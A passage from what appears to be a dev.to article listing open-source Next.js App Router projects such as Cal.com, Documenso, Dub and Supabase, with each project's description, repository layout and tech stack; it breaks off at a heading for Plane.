&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fahm6lkd9uys9u29tll40.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fahm6lkd9uys9u29tll40.png" alt="Screenshot of Cal.com"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/calcom/cal.com" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; · &lt;a href="https://cal.com/" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;An open-source Calendly alternative. A scheduling solution that gives you a full-control of your events and data.&lt;/p&gt;

&lt;p&gt;They are still in the process of migrating to App Router, which is a good example of how a large-scale app can be migrated to App Router incrementally.&lt;/p&gt;

&lt;p&gt;The repository is a monorepo managed via &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;. The main app is located in &lt;a href="https://github.com/calcom/cal.com/tree/main/apps/web" rel="noopener noreferrer"&gt;apps/web&lt;/a&gt;. There, you can find that it has both &lt;code&gt;app&lt;/code&gt; and &lt;code&gt;pages&lt;/code&gt; folder. And many routes from &lt;code&gt;pages&lt;/code&gt; are available in &lt;code&gt;app/future&lt;/code&gt; folder.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stack:&lt;/strong&gt; &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;, &lt;a href="https://tailwindcss.com/" rel="noopener noreferrer"&gt;Tailwind&lt;/a&gt;, &lt;a href="https://trpc.io/" rel="noopener noreferrer"&gt;tRPC&lt;/a&gt;, &lt;a href="https://www.prisma.io/" rel="noopener noreferrer"&gt;Prisma&lt;/a&gt;, &lt;a href="https://kysely.dev/" rel="noopener noreferrer"&gt;Kysely&lt;/a&gt; &lt;a href="https://authjs.dev/" rel="noopener noreferrer"&gt;Auth.js&lt;/a&gt;, &lt;a href="https://react-hook-form.com/" rel="noopener noreferrer"&gt;React Hook Form&lt;/a&gt;, &lt;a href="https://zod.dev/" rel="noopener noreferrer"&gt;Zod&lt;/a&gt;, &lt;a href="https://zustand-demo.pmnd.rs/" rel="noopener noreferrer"&gt;Zustand&lt;/a&gt;, &lt;a href="https://tanstack.com/query" rel="noopener noreferrer"&gt;Tanstack Query&lt;/a&gt;, &lt;a href="https://stripe.com/" rel="noopener noreferrer"&gt;Stripe&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Documenso
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fle14lteww0t06kfr7vsy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fle14lteww0t06kfr7vsy.png" alt="Screenshot of Documenso"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/documenso/documenso" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; · &lt;a href="https://documenso.com/" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;An open-source DocuSign alternative. A service for signing documents digitally.&lt;/p&gt;

&lt;p&gt;The repository is a monorepo managed via &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;. It contains several Next.js apps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/documenso/documenso/tree/main/apps/marketing" rel="noopener noreferrer"&gt;marketing&lt;/a&gt; - marketing website, landing page, blog, etc.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/documenso/documenso/tree/main/apps/web" rel="noopener noreferrer"&gt;web&lt;/a&gt; - main application&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Stack:&lt;/strong&gt; &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;, &lt;a href="https://tailwindcss.com/" rel="noopener noreferrer"&gt;Tailwind&lt;/a&gt;, &lt;a href="https://trpc.io/" rel="noopener noreferrer"&gt;tRPC&lt;/a&gt;, &lt;a href="https://www.prisma.io/" rel="noopener noreferrer"&gt;Prisma&lt;/a&gt;, &lt;a href="https://kysely.dev/" rel="noopener noreferrer"&gt;Kysely&lt;/a&gt; &lt;a href="https://authjs.dev/" rel="noopener noreferrer"&gt;Auth.js&lt;/a&gt;, &lt;a href="https://react-hook-form.com/" rel="noopener noreferrer"&gt;React Hook Form&lt;/a&gt;, &lt;a href="https://zod.dev/" rel="noopener noreferrer"&gt;Zod&lt;/a&gt;, &lt;a href="https://resend.com/" rel="noopener noreferrer"&gt;Resend&lt;/a&gt;, &lt;a href="https://stripe.com/" rel="noopener noreferrer"&gt;Stripe&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  TypeHero
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsq4rcw474im8w3fl0e1f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsq4rcw474im8w3fl0e1f.png" alt="Screenshot of TypeHero"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/typehero/typehero" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; · &lt;a href="https://typehero.dev/" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;TypeHero is a platform for enhancing your TypeScript skills via interactive code challenges.&lt;/p&gt;

&lt;p&gt;The repository is a monorepo managed via &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;. It contains several Next.js apps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/typehero/typehero/tree/main/apps/web" rel="noopener noreferrer"&gt;web&lt;/a&gt; - main application&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/typehero/typehero/tree/main/apps/admin" rel="noopener noreferrer"&gt;admin&lt;/a&gt; - admin panel for the main application&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Stack:&lt;/strong&gt; &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;, &lt;a href="https://tailwindcss.com/" rel="noopener noreferrer"&gt;Tailwind&lt;/a&gt;, &lt;a href="https://www.prisma.io/" rel="noopener noreferrer"&gt;Prisma&lt;/a&gt;, &lt;a href="https://authjs.dev/" rel="noopener noreferrer"&gt;Auth.js&lt;/a&gt;, &lt;a href="https://react-hook-form.com/" rel="noopener noreferrer"&gt;React Hook Form&lt;/a&gt;, &lt;a href="https://zod.dev/" rel="noopener noreferrer"&gt;Zod&lt;/a&gt;, &lt;a href="https://zustand-demo.pmnd.rs/" rel="noopener noreferrer"&gt;Zustand&lt;/a&gt;, &lt;a href="https://tanstack.com/query" rel="noopener noreferrer"&gt;Tanstack Query&lt;/a&gt;, &lt;a href="https://resend.com/" rel="noopener noreferrer"&gt;Resend&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Dify
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frovnj3riulpfckxc0i2f.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frovnj3riulpfckxc0i2f.jpg" alt="Screenshot of Dify"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/langgenius/dify" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; · &lt;a href="https://dify.ai/" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Dify is an open-source LLM app development platform. Dify's interface combines AI workflow, RAG pipeline, agent capabilities, model management, observability features and more.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stack:&lt;/strong&gt; &lt;a href="https://tailwindcss.com/" rel="noopener noreferrer"&gt;Tailwind&lt;/a&gt;, &lt;a href="https://react-hook-form.com/" rel="noopener noreferrer"&gt;React Hook Form&lt;/a&gt;, &lt;a href="https://zod.dev/" rel="noopener noreferrer"&gt;Zod&lt;/a&gt;, &lt;a href="https://zustand-demo.pmnd.rs/" rel="noopener noreferrer"&gt;Zustand&lt;/a&gt;, &lt;a href="https://swr.vercel.app/" rel="noopener noreferrer"&gt;SWR&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Dub
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fapt2yzs5js510y8dgakp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fapt2yzs5js510y8dgakp.png" alt="Screenshot of Dub"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/dubinc/dub" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; · &lt;a href="https://dub.co/" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Dub.co is an open-source URL shortening service and a link management platform. An open-source alternative to Bitly.&lt;/p&gt;

&lt;p&gt;The repository is a monorepo managed via &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;. The main app is located in &lt;a href="https://github.com/dubinc/dub/tree/main/apps/web" rel="noopener noreferrer"&gt;apps/web&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stack:&lt;/strong&gt; &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;, &lt;a href="https://tailwindcss.com/" rel="noopener noreferrer"&gt;Tailwind&lt;/a&gt;, &lt;a href="https://planetscale.com/" rel="noopener noreferrer"&gt;Planetscale&lt;/a&gt;, &lt;a href="https://www.prisma.io/" rel="noopener noreferrer"&gt;Prisma&lt;/a&gt;, &lt;a href="https://authjs.dev/" rel="noopener noreferrer"&gt;Auth.js&lt;/a&gt;, &lt;a href="https://zod.dev/" rel="noopener noreferrer"&gt;Zod&lt;/a&gt;, &lt;a href="https://swr.vercel.app/" rel="noopener noreferrer"&gt;SWR&lt;/a&gt;, &lt;a href="https://upstash.com/" rel="noopener noreferrer"&gt;Upstash&lt;/a&gt;, &lt;a href="https://tinybird.com/" rel="noopener noreferrer"&gt;Tinybird&lt;/a&gt;, &lt;a href="https://stripe.com/" rel="noopener noreferrer"&gt;Stripe&lt;/a&gt;, &lt;a href="https://mintlify.com/" rel="noopener noreferrer"&gt;Mintlify&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Noodle
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft7wqwklv382a0q560lpi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft7wqwklv382a0q560lpi.png" alt="Screenshot of Noodle"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/noodle-run/noodle" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; · &lt;a href="https://noodle.run/" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Noodle is a platform for managing everything to do with students education like note-taking, calendar, task management, grade calculator, flashcards and more.&lt;/p&gt;

&lt;p&gt;It's an indie project and still not released yet. But it's a good example of an app built using modern technologies.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stack:&lt;/strong&gt; &lt;a href="https://bun.sh/" rel="noopener noreferrer"&gt;Bun&lt;/a&gt;, &lt;a href="https://tailwindcss.com/" rel="noopener noreferrer"&gt;Tailwind&lt;/a&gt;, &lt;a href="https://trpc.io/" rel="noopener noreferrer"&gt;tRPC&lt;/a&gt;, &lt;a href="https://orm.drizzle.team/" rel="noopener noreferrer"&gt;Drizzle ORM&lt;/a&gt;, &lt;a href="https://clerk.com/" rel="noopener noreferrer"&gt;Clerk&lt;/a&gt; &lt;a href="https://react-hook-form.com/" rel="noopener noreferrer"&gt;React Hook Form&lt;/a&gt;, &lt;a href="https://zod.dev/" rel="noopener noreferrer"&gt;Zod&lt;/a&gt;, &lt;a href="https://tanstack.com/query" rel="noopener noreferrer"&gt;Tanstack Query&lt;/a&gt;, &lt;a href="https://resend.com/" rel="noopener noreferrer"&gt;Resend&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Midday
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fedk6hmfli3en5943bmth.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fedk6hmfli3en5943bmth.png" alt="Screenshot of Midday"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/midday-ai/midday" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; · &lt;a href="https://midday.ai/" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;An all-in-one tool for freelancers, contractors, consultants, and solo entrepreneurs to manage their finances, track projects, store files, and send invoices.&lt;/p&gt;

&lt;p&gt;The repository is a monorepo managed via &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;. It contains several apps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/midday-ai/midday/tree/main/apps/website" rel="noopener noreferrer"&gt;website&lt;/a&gt; - marketing website, landing page, blog, etc.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/midday-ai/midday/tree/main/apps/dashboard" rel="noopener noreferrer"&gt;dashboard&lt;/a&gt; - main application, dashboard&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/midday-ai/midday/tree/main/apps/docs" rel="noopener noreferrer"&gt;docs&lt;/a&gt; - documentation website&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Stack:&lt;/strong&gt; &lt;a href="https://bun.sh/" rel="noopener noreferrer"&gt;Bun&lt;/a&gt;, &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;, &lt;a href="https://tailwindcss.com/" rel="noopener noreferrer"&gt;Tailwind&lt;/a&gt;, &lt;a href="https://supabase.com/" rel="noopener noreferrer"&gt;Supabase&lt;/a&gt;, &lt;a href="https://upstash.com/" rel="noopener noreferrer"&gt;Upstash&lt;/a&gt;, &lt;a href="https://react-hook-form.com/" rel="noopener noreferrer"&gt;React Hook Form&lt;/a&gt;, &lt;a href="https://zod.dev/" rel="noopener noreferrer"&gt;Zod&lt;/a&gt;, &lt;a href="https://zustand-demo.pmnd.rs/" rel="noopener noreferrer"&gt;Zustand&lt;/a&gt;, &lt;a href="https://resend.com/" rel="noopener noreferrer"&gt;Resend&lt;/a&gt;, &lt;a href="https://mintlify.com/" rel="noopener noreferrer"&gt;Mintlify&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Morphic
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc1zq9l7oyulg8gpwg13c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc1zq9l7oyulg8gpwg13c.png" alt="Screenshot of Morphic"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/miurla/morphic" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; · &lt;a href="https://morphic.sh/" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;An AI-powered search engine with a generative UI.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stack:&lt;/strong&gt; &lt;a href="https://bun.sh/" rel="noopener noreferrer"&gt;Bun&lt;/a&gt;, &lt;a href="https://tailwindcss.com/" rel="noopener noreferrer"&gt;Tailwind&lt;/a&gt;, &lt;a href="https://sdk.vercel.ai/docs" rel="noopener noreferrer"&gt;Vercel AI SDK&lt;/a&gt;, &lt;a href="https://openai.com/" rel="noopener noreferrer"&gt;OpenAI&lt;/a&gt;, &lt;a href="https://tavily.com/" rel="noopener noreferrer"&gt;Tavily AI&lt;/a&gt;, &lt;a href="https://serper.dev/" rel="noopener noreferrer"&gt;Serper&lt;/a&gt;, &lt;a href="https://jina.ai/" rel="noopener noreferrer"&gt;Jina AI&lt;/a&gt;, &lt;a href="https://upstash.com/" rel="noopener noreferrer"&gt;Upstash&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Supabase
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxrxcjbdf7die6n2bk6a3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxrxcjbdf7die6n2bk6a3.png" alt="Screenshot of Supabase"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/supabase/supabase" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; · &lt;a href="https://supabase.com/" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Supabase is an open source Firebase alternative.&lt;/p&gt;

&lt;p&gt;Supabase doesn't use fully App Router but their new apps uses it. The repository is a monorepo managed via &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;. It contains several Next.js apps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/supabase/supabase/tree/master/apps/database-new" rel="noopener noreferrer"&gt;database-new&lt;/a&gt; - some new app by Supabase. It uses App Router.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/supabase/supabase/tree/master/apps/www" rel="noopener noreferrer"&gt;www&lt;/a&gt; - marketing website, landing page, blog, etc. It doesn't use App Router yet.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/supabase/supabase/tree/master/apps/studio" rel="noopener noreferrer"&gt;studio&lt;/a&gt; - main application. It doesn't use App Router yet.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/supabase/supabase/tree/master/apps/docs" rel="noopener noreferrer"&gt;docs&lt;/a&gt; - documentation website. It doesn't use App Router yet. There is PR for migrating it to App Router - &lt;a href="https://github.com/supabase/supabase/pull/23101" rel="noopener noreferrer"&gt;link&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Stack:&lt;/strong&gt; &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;, &lt;a href="https://tailwindcss.com/" rel="noopener noreferrer"&gt;Tailwind&lt;/a&gt;, &lt;a href="https://openai.com/" rel="noopener noreferrer"&gt;OpenAI&lt;/a&gt;, &lt;a href="https://react-hook-form.com/" rel="noopener noreferrer"&gt;React Hook Form&lt;/a&gt;, &lt;a href="https://zod.dev/" rel="noopener noreferrer"&gt;Zod&lt;/a&gt;, &lt;a href="https://tanstack.com/query" rel="noopener noreferrer"&gt;Tanstack Query&lt;/a&gt;, &lt;a href="https://stripe.com/" rel="noopener noreferrer"&gt;Stripe&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  OpenStatus
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqbv86igz8pdil4l7mgdc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqbv86igz8pdil4l7mgdc.png" alt="Screenshot of OpenStatus"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/openstatusHQ/openstatus" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; · &lt;a href="https://www.openstatus.dev/" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;OpenStatus is an open-source synthetic and frontend performance monitoring service.&lt;/p&gt;

&lt;p&gt;The repository is a monorepo managed via &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;. It contains several apps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/openstatusHQ/openstatus/tree/main/apps/web" rel="noopener noreferrer"&gt;web&lt;/a&gt; - main application, landing page&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/openstatusHQ/openstatus/tree/main/apps/docs" rel="noopener noreferrer"&gt;docs&lt;/a&gt; - documentation website&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Stack:&lt;/strong&gt; &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;, &lt;a href="https://tailwindcss.com/" rel="noopener noreferrer"&gt;Tailwind&lt;/a&gt;, &lt;a href="https://trpc.io/" rel="noopener noreferrer"&gt;tRPC&lt;/a&gt;, &lt;a href="https://upstash.com/" rel="noopener noreferrer"&gt;Upstash&lt;/a&gt;, &lt;a href="https://tinybird.com/" rel="noopener noreferrer"&gt;Tinybird&lt;/a&gt;, &lt;a href="http://turso.tech/" rel="noopener noreferrer"&gt;Turso&lt;/a&gt;, &lt;a href="https://orm.drizzle.team/" rel="noopener noreferrer"&gt;Drizzle ORM&lt;/a&gt;, &lt;a href="https://authjs.dev/" rel="noopener noreferrer"&gt;Auth.js&lt;/a&gt;, &lt;a href="https://react-hook-form.com/" rel="noopener noreferrer"&gt;React Hook Form&lt;/a&gt;, &lt;a href="https://zod.dev/" rel="noopener noreferrer"&gt;Zod&lt;/a&gt;, &lt;a href="https://stripe.com/" rel="noopener noreferrer"&gt;Stripe&lt;/a&gt;, &lt;a href="https://resend.com/" rel="noopener noreferrer"&gt;Resend&lt;/a&gt;, &lt;a href="https://mintlify.com/" rel="noopener noreferrer"&gt;Mintlify&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Skateshop
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5qw6jkknhdn0isnojr14.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5qw6jkknhdn0isnojr14.png" alt="Screenshot of Skateshop"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/sadmann7/skateshop" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; · &lt;a href="https://skateshop.sadmn.com/" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;An open source e-commerce skateshop built with modern approaches and technologies.&lt;/p&gt;

&lt;p&gt;It's not a real-world application but a good example of how to develop modern Next.js application.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stack:&lt;/strong&gt; &lt;a href="https://tailwindcss.com/" rel="noopener noreferrer"&gt;Tailwind&lt;/a&gt;, &lt;a href="https://clerk.com/" rel="noopener noreferrer"&gt;Clerk&lt;/a&gt;, &lt;a href="https://upstash.com/" rel="noopener noreferrer"&gt;Upstash&lt;/a&gt;, &lt;a href="https://openai.com/" rel="noopener noreferrer"&gt;OpenAI&lt;/a&gt;, &lt;a href="https://orm.drizzle.team/" rel="noopener noreferrer"&gt;Drizzle ORM&lt;/a&gt;, &lt;a href="https://react-hook-form.com/" rel="noopener noreferrer"&gt;React Hook Form&lt;/a&gt;, &lt;a href="https://zod.dev/" rel="noopener noreferrer"&gt;Zod&lt;/a&gt;, &lt;a href="https://stripe.com/" rel="noopener noreferrer"&gt;Stripe&lt;/a&gt;, &lt;a href="https://resend.com/" rel="noopener noreferrer"&gt;Resend&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Feedbase
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9qffae00l2vq5yyfor2k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9qffae00l2vq5yyfor2k.png" alt="Screenshot of Feedbase"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/chroxify/feedbase" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; · &lt;a href="https://feedbase.app/" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;An open-source solution for collecting feedback and communicating updates.&lt;/p&gt;

&lt;p&gt;The repository is a monorepo managed via &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;. It contains several apps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/chroxify/feedbase/tree/main/apps/web" rel="noopener noreferrer"&gt;web&lt;/a&gt; - main application, landing page&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/chroxify/feedbase/tree/main/apps/docs" rel="noopener noreferrer"&gt;docs&lt;/a&gt; - documentation website&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Stack:&lt;/strong&gt; &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;, &lt;a href="https://tailwindcss.com/" rel="noopener noreferrer"&gt;Tailwind&lt;/a&gt;, &lt;a href="https://supabase.com/" rel="noopener noreferrer"&gt;Supabase&lt;/a&gt;, &lt;a href="https://tinybird.com/" rel="noopener noreferrer"&gt;Tinybird&lt;/a&gt;, &lt;a href="https://react-hook-form.com/" rel="noopener noreferrer"&gt;React Hook Form&lt;/a&gt;, &lt;a href="https://zod.dev/" rel="noopener noreferrer"&gt;Zod&lt;/a&gt;, &lt;a href="https://swr.vercel.app/" rel="noopener noreferrer"&gt;SWR&lt;/a&gt;, &lt;a href="https://resend.com/" rel="noopener noreferrer"&gt;Resend&lt;/a&gt;, &lt;a href="https://mintlify.com/" rel="noopener noreferrer"&gt;Mintlify&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Plane
